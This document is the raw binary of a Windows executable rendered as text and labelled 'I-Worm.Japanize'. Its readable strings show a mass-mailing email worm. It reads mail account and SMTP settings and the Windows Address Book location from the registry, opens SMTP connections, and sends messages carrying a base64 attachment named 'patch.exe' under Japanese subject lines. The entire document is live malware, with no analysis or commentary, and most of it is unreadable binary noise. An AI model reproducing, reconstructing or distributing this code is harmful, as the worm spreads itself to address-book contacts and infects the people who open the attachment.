MZP@ !L!This program must be run under Win32 $7PELW,  @ ` @P CODE `DATA @.idata@ @.relocP$@PWXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX I-Worm.Japanize XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXh#@hbuWuEVC5(@\5(@K5&@5&@5'@je`j 5'@Nd6v`Qƀ~uV"(@WjHYfX^ $YVjjjz(@fj(@ffl(@h @tt0@ n(@jj(@P5z(@Su f^3h @jSh @hhn @he @SShr @5 @s5 @lh @jSh0 @hOh!@h @SSh @5 @%|h"@h!@SSh @5 @u\5 @h @jSh @hu2h#@h "@SSS5 @u5 @33H3ShjSjhh "@c@t.H&@SSSjSP&&@SSSjP('@33Hhh'@j#3ShjSjhh'@@H (@j5 (@(@PjB(@P(@jh~(@5(@P5 (@t\j5 (@PPjB(@PW(@P5(@I5 (@}5(@B5(@135 (@Y5(@5(@ 3Hu} 3}u==M/}uf=m3Nmȋ%a@Iu}u« ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/jQV5z(@jhh~(@5z(@ @t=t33HV~,@,@,@ h!@Ⱦ!@{,@lw ,@X^VVPH,@9DX^V>.jpu ~,@,@ ,@h!@cȾ!@,@^VV@=~,@u,@@.@.@4Vt.@e,@V5(@VV^A.@#2,@#.,@^13.@H.@3%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%A@%A@%A@%A@%A@%A@Software\Microsoft\Internet Account ManagerSoftware\Microsoft\Internet Account Manager\Accounts\ Default Mail AccountSMTP ServerSMTP Email AddressSoftware\Microsoft\WAB\WAB4\Wab File Name2HELO localhost MAIL FROM: RCPT TO: DATA FROM: TO: SUBJECT: Important . QUIT MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="Boundary-a8dfidaoRadvfuck" --Boundary-a8dfidaoRadvfuck Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit Content-Description: Mail message body --Boundary-a8dfidaoRadvfuck Content-Type: application/x-msdownload; name="patch.exe" Content-Disposition: attachment; filename="patch.exe" Content-Transfer-Encoding: BASE64 --Boundary-a8dfidaoRadvfuck-- r SUBJECT: =?ISO-2022-JP?B??= /@/@2/@O/@p/@/@/@/@/@/@ 0@0@00@A0@V0@c0@t0@GyRCPUVNVxsoQg==UmU6GyRCPUVNVxsoQg==GyRCPUVNVyRKJCpDTiRpJDsbKEI=UmU6GyRCPUVNVyRKJCpDTiRpJDsbKEI=GyRCTmMkTjdvGyhCUmU6GyRCTmMkTjdvGyhCGyRCJCo1VyQ3JFYkaiRHJDkbKEI=UmU6GyRCJCo1VyQ3JFYkaiRHJDkbKEI=GyRCJDMkcyRLJEEkTxsoQg==UmU6GyRCJDMkcyRLJEEkTxsoQg==GyRCNktIaxsoQg==UmU6GyRCNktIaxsoQg==GyRCO3FOQRsoQg==UmU6GyRCO3FOQRsoQg==GyRCMz8bKEI=GyRCJSYlYxsoQlI=GyRCJCYkcyQzGyhCP@ A@p@,A@@9AAFANA^AhArAAAAAAAAAABBB4B>BLBZBnB~BFANA^AhArAAAAAAAAAABBB4B>BLBZBnB~BWSOCK32.dllKERNEL32.dllADVAPI32.dllsendgethostbynameconnectsocketWSACleanupWSAStartuprecvEXITPROCESSGlobalLockCreateFileMappingAGlobalFreeGlobalUnlockMapViewOfFileReadFileGlobalAllocCreateFileAGetModuleFileNameAlstrlenGetFileSizeCloseHandleRegQueryValueExARegOpenKeyExARegCloseKey_00000000 1'151:1S1Z1a1|1111111111111 222222<2D2[2`2i2|222222333%373B3I3O3V3k3333333333G444444555,5@5_5555555556636=6M6a6u6666666666666666677 7777%7+71777 ,>>>>>>>>>>>>>>???